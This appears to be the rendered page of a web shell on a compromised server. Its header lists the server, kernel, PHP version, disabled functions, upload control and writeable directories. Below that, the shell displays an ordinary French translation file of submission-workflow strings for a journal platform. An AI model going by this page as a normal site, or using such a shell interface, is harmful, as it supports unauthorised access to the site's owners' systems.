KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/fr_FR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/fr_FR/author.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:23+00:00\n"
"PO-Revision-Date: 2020-07-27 19:06+0000\n"
"Last-Translator: Paul Heckler <[email protected]>\n"
"Language-Team: French <http://translate.pkp.sfu.ca/projects/ojs/author/fr/>\n"
"Language: fr_FR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "author.submit"
msgstr "Nouvelle soumission"

msgid "author.track"
msgstr "Soumissions actives"

msgid "author.competingInterests"
msgstr ""
"Conflits d'intérêts <a target=\"_new\" class=\"action\" href=\""
"{$competingInterestGuidelinesUrl}\">politique relative aux conflits "
"d'intérêts</a>"

msgid "author.submit.submitArticle"
msgstr "Soumettre un article"

msgid "author.submit.stepsToSubmit"
msgstr "Les cinq étapes d'une soumission"

msgid "author.submit.startHereTitle"
msgstr "Commencer une nouvelle soumission"

msgid "author.submit.startHereLink"
msgstr "<a href=\"{$submitUrl}\" class=\"action\">Cliquer ici</a> pour vous rendre à la première étape du processus de soumission en cinq étapes."

msgid "author.submit.step1"
msgstr "Étape 1. Commencer la soumission"

msgid "author.submit.step2"
msgstr "Étape 2. Transférer la soumission"

msgid "author.submit.step3"
msgstr "Étape 3. Saisir les métadonnées de la soumission"

msgid "author.submit.step4"
msgstr "Étape 4. Transférer les fichiers supplémentaires"

msgid "author.submit.step4a"
msgstr "Étape 4a. Ajouter un fichier supplémentaire"

msgid "author.submit.step5"
msgstr "Étape 5. Confirmer la soumission"

msgid "author.submit.start"
msgstr "Commencer"

msgid "author.submit.upload"
msgstr "Transférer la soumission"

msgid "author.submit.metadata"
msgstr "Saisir les métadonnées"

msgid "author.submit.supplementaryFiles"
msgstr "Transférer les fichiers supplémentaires"

msgid "author.submit.confirmation"
msgstr "Confirmer la soumission"

msgid "submission.submit.cancelSubmission"
msgstr "Vous pouvez compléter cette soumission plus tard en la sélectionnant dans le menu des soumissions actives de l'auteur."

msgid "author.submit.notAccepting"
msgstr "Cette revue n'accepte pas de soumissions pour le moment."

msgid "author.submit.requestWaiver"
msgstr "Demande d'exemption"

msgid "author.submit.qualifyForWaiver"
msgstr "Veuillez envisager d'être exempté des Frais de soumission d'article pour cet article"

msgid "author.submit.addReasonsForWaiver"
msgstr "Veuillez utiliser la boîte de commentaires ci-dessous pour expliquer pourquoi vous devriez être exempté des frais."

msgid "author.submissions.uploadCopyeditedVersion"
msgstr "Transférer le fichier révisé"

msgid "author.submissions.proofreadingCorrections"
msgstr "Corrections d'épreuve"

msgid "author.submissions.confirmDelete"
msgstr "Êtes-vous certain de vouloir supprimer cette soumission incomplète ?"

msgid "author.submissions.viewStatus"
msgstr "Voir le statut"

msgid "author.submissions.noSubmissions"
msgstr "Aucune soumission."

msgid "author.submit.howToSubmit"
msgstr "Vous éprouvez des difficultés? Communiquez avec <a href=\"mailto:{$supportEmail}\">{$supportName}</a> pour obtenir de l'aide ({$supportPhone})."

msgid "author.submit.howToSubmitNoPhone"
msgstr "Vous éprouvez des difficultés? Communiquez avec <a href=\"mailto:{$supportEmail}\">{$supportName}</a> pour obtenir de l'aide."

msgid "author.submit.journalSection"
msgstr "Rubrique de la revue"

msgid "author.submit.journalSectionDescription"
msgstr "Sélectionner la rubrique de la revue la plus appropriée pour cette soumission (voir Rubriques et politiques dans <a href=\"{$aboutUrl}\" target=\"_new\">À propos</a>de la revue)."

msgid "submission.submit.selectSection"
msgstr "Veuillez sélectionner une rubrique..."

msgid "author.submit.submissionChecklist"
msgstr "Liste de vérification de la soumission"

msgid "author.submit.verifyChecklist"
msgstr ""
"Vous devez vous assurer que tous les éléments de la liste de vérification de "
"la soumission sont satisfaits avant de continuer."

msgid "author.submit.copyrightNoticeAgree"
msgstr "Les auteurs acceptent les conditions de l'Avis de droit d'auteur, qui s'appliqueront à cette soumission si et quand elle sera publiée par cette revue (des commentaires au rédacteur peuvent être ajoutés ci-dessous)."

msgid "author.submit.copyrightNoticeAgreeRequired"
msgstr "Vous devez accepter les conditions de l'Avis de droit d'auteur avant de pouvoir continuer."

msgid "submission.submit.coverNote"
msgstr "Commentaires pour le Rédacteur"

msgid "author.submit.comments"
msgstr "Saisir du texte (optionnel)"

msgid "author.submit.form.sectionRequired"
msgstr "Veuillez sélectionner une rubrique de la revue appropriée pour cette soumission."

msgid "submission.submit.privacyStatement"
msgstr "Déclaration de confidentialité de la revue"

msgid "author.submit.reorderInstructions"
msgstr "Réordonner les auteurs pour qu'ils paraissent dans l'ordre dans lequel ils seront listés lors de la publication."

msgid "author.submit.selectPrincipalContact"
msgstr "Contact principal pour la correspondance éditoriale."

msgid "author.submit.addAuthor"
msgstr "Ajouter un auteur"

msgid "author.submit.deleteAuthor"
msgstr "Supprimer un auteur"

msgid "author.submit.submissionIndexingDescription"
msgstr ""
"Fournir les termes pour l'indexation de la soumission ; séparer les termes "
"par un point-virgule (terme1 ; terme2 ; terme3)."

msgid "author.submit.coverageInstructions"
msgstr "Renvoie à une lieu géo-spatial, une couverture historique ou chronologique, et/ou à des caractéristiques d'un échantillon de recherche."

msgid "author.submit.languageInstructions"
msgstr ""
"anglais=en ; français=fr ; espagnol=es. <a href=\"http://www.loc.gov/"
"standards/iso639-2/php/code_list.php\" target=\"_blank\">Codes "
"supplémentaires</a>."

msgid "author.submit.form.authorRequired"
msgstr "Au moins un auteur est obligatoire."

msgid "author.submit.form.authorRequiredFields"
msgstr "Les prénom, nom de famille, et courriel de chaque auteur sont obligatoires."

msgid "author.submit.form.titleRequired"
msgstr "Veuillez saisir le titre de votre article."

msgid "author.submit.form.abstractRequired"
msgstr "Veuillez saisir le résumé de votre article."

msgid "author.submit.submissionFile"
msgstr "Fichier de soumission"

msgid "author.submit.uploadSubmissionFile"
msgstr "Transférer le fichier de soumission"

msgid "author.submit.replaceSubmissionFile"
msgstr "Remplacer le fichier de soumission"

msgid "author.submit.noSubmissionFile"
msgstr "Aucun fichier de soumission transféré."

msgid "author.submit.noSubmissionConfirm"
msgstr ""
"Êtes-vous certain de vouloir continuer sans transférer un fichier de "
"soumission ?"

msgid "author.submit.supplementaryFilesInstructions"
msgstr "Cette étape facultative permet l'ajout de fichiers supplémentaires à la soumission. Les fichiers, qui peuvent être de n'importe quel format, peuvent comprendre (a) des instruments de recherche, (b) des ensembles de données se conformant aux conditions de la révision déontologique de la recherche de l'étude, (c) des sources qui autrement ne seraient pas disponibles aux lecteurs, (d) des nombres et des tableaux qui ne peuvent être intégrés dans le texte en soi, ou autres documents qui ajoutent une contribution au travail."

msgid "author.submit.supplementaryFiles.saveToUpload"
msgstr "Cliquer sur Enregistrer pour transférer le fichier (après cela, des fichiers supplémentaires peuvent être transférés)."

msgid "author.submit.forgottenSubmitSuppFile"
msgstr ""
"Êtes-vous certain de vouloir continuer sans transférer le fichier "
"supplémentaire que vous avez choisi ?"

msgid "author.submit.noSupplementaryFiles"
msgstr "Aucun fichier supplémentaire n'a été ajouté à cette soumission."

msgid "author.submit.backToSupplementaryFiles"
msgstr "Retour à Fichiers supplémentaires"

msgid "author.submit.confirmDeleteSuppFile"
msgstr "Êtes-vous certain de vouloir supprimer ce fichier supplémentaire ?"

msgid "author.submit.uploadSuppFile"
msgstr "Transférer le fichier supplémentaire"

msgid "author.submit.addSupplementaryFile"
msgstr "Ajouter un fichier supplémentaire"

msgid "author.submit.editSupplementaryFile"
msgstr "Modifier un fichier supplémentaire"

msgid "author.submit.supplementaryFileData"
msgstr "Métadonnées du fichier supplémentaire"

msgid "author.submit.supplementaryFileDataDescription"
msgstr "Pour indexer ces documents supplémentaires, fournir les métadonnées suivantes pour chaque fichier supplémentaire transféré."

msgid "author.submit.supplementaryFileUpload"
msgstr "Fichier supplémentaire"

msgid "author.submit.suppFile.createrOrOwner"
msgstr "Créateur (ou propriétaire) du fichier"

msgid "author.submit.suppFile.researchInstrument"
msgstr "Instrument de recherche"

msgid "author.submit.suppFile.researchMaterials"
msgstr "Documents de recherche"

msgid "author.submit.suppFile.researchResults"
msgstr "Résultats de recherche"

msgid "author.submit.suppFile.transcripts"
msgstr "Transcriptions"

msgid "author.submit.suppFile.dataAnalysis"
msgstr "Analyse de données"

msgid "author.submit.suppFile.dataSet"
msgstr "Ensemble de données"

msgid "author.submit.suppFile.sourceText"
msgstr "Texte source"

msgid "author.submit.suppFile.briefDescription"
msgstr "Brève description"

msgid "author.submit.suppFile.availableToPeers"
msgstr "Présenter le fichier aux rapporteurs (sans métadonnées), de façon à ne pas compromettre l'évaluation anonyme."

msgid "author.submit.suppFile.publisherDescription"
msgstr "Utiliser uniquement avec des documents officiellement publiés."

msgid "author.submit.suppFile.dateDescription"
msgstr "Date à laquelle les données ont été collectées ou à laquelle l'instrument a été créé."

msgid "author.submit.suppFile.sourceDescription"
msgstr "Nom de l'étude ou autre point d'origine."

msgid "author.submit.suppFile.specifyOtherType"
msgstr "Préciser tout autre type"

msgid "author.submit.suppFile.noFile"
msgstr "Aucun fichier transféré."

msgid "author.submit.suppFile.form.titleRequired"
msgstr "Veuillez entrer le titre de ce fichier supplémentaire."

msgid "author.submit.suppFile.form.subjectRequired"
msgstr "Veuillez entrer un sujet."

msgid "author.submit.suppFile.form.descriptionRequired"
msgstr "Veuillez entrer une description."

msgid "author.suppFile.suppFilePublicIdentificationExists"
msgstr "L'identification publique du fichier supplémentaire existe déjà."

msgid "author.suppFile.publicSuppFileIdentifier"
msgstr "Identifiant public du fichier supplémentaire"

msgid "author.submit.confirmationDescription"
msgstr "Pour soumettre votre manuscrit à {$journalTitle}, cliquer sur Terminer la soumission. Le contact principal de la soumission recevra un accusé de réception par courriel et sera en mesure d'afficher l'avancement du processus éditorial de la soumission en se connectant dans le site Web de la revue. Merci de votre intérêt à publier dans {$journalTitle}."

msgid "author.submit.noFiles"
msgstr "Aucun fichier n'a été attaché à cette soumission."

msgid "author.submit.filesSummary"
msgstr "Sommaire du fichier"

msgid "author.submit.finishSubmission"
msgstr "Terminer la soumission"

msgid "author.submit.submissionComplete"
msgstr "Soumission terminée. Merci de l'intérêt que vous portez à la publication {$journalTitle}."

msgid "author.article.uploadAuthorVersion"
msgstr "Transférer la version de l'auteur"

msgid "author.article.copyeditedFile"
msgstr "Fichier révisé"

msgid "author.article.authorRevisedFile"
msgstr "Fichier de l'auteur"

msgid "author.submit.authorSubmitLoginMessage"
msgstr "Un compte d'utilisateur est obligatoire afin de soumettre à cette revue. Ça permet aux rédacteurs de faire le suivi de vos soumissions et d'entrer en contact avec vous quand le statut de votre soumission change, ou si vous devez fournir de l'information supplémentaire."

msgid "author.submit.mustEnterWaiverReason"
msgstr "Si vous effectuez une demande d'exemption, vous devez inscrire une justification dans l'espace prévu à cet effet."

msgid "author.submissions.queuedReviewSubsequent"
msgstr "Cycle d'évaluation {$round}"

msgid "author.submissions.queuedReviewRevisions"
msgstr "En évaluation : Révisions requises"

msgid "author.submissions.queuedEditingCopyedit"
msgstr "En révision : Correction de texte requise"

msgid "author.submissions.queuedEditingProofread"
msgstr "En révision : Correction d'épreuves requise"

msgid "author.submit.reorder"
msgstr "Réordonner le nom de l'auteur"

msgid "author.submit.form.wordCountAlert"
msgstr ""
"Vous avez dépassé la limite maximale de mots fixée pour les résumés dans "
"cette section de la rubrique."

msgid "author.submit.form.localeRequired"
msgstr "Veuillez sélectionner une langue de soumission."

msgid "author.submit.nextSteps"
msgstr "Étapes suivantes"

msgid "author.submit.submissionLocale"
msgstr "Langue de la soumission"

msgid "author.submit.submissionLocaleDescription"
msgstr "Ce journal accepte des soumissions dans plusieurs langues. Choisissez la langue principale de la soumission à partir du menu déroulant."

KUNTUL | JINGKONTOT |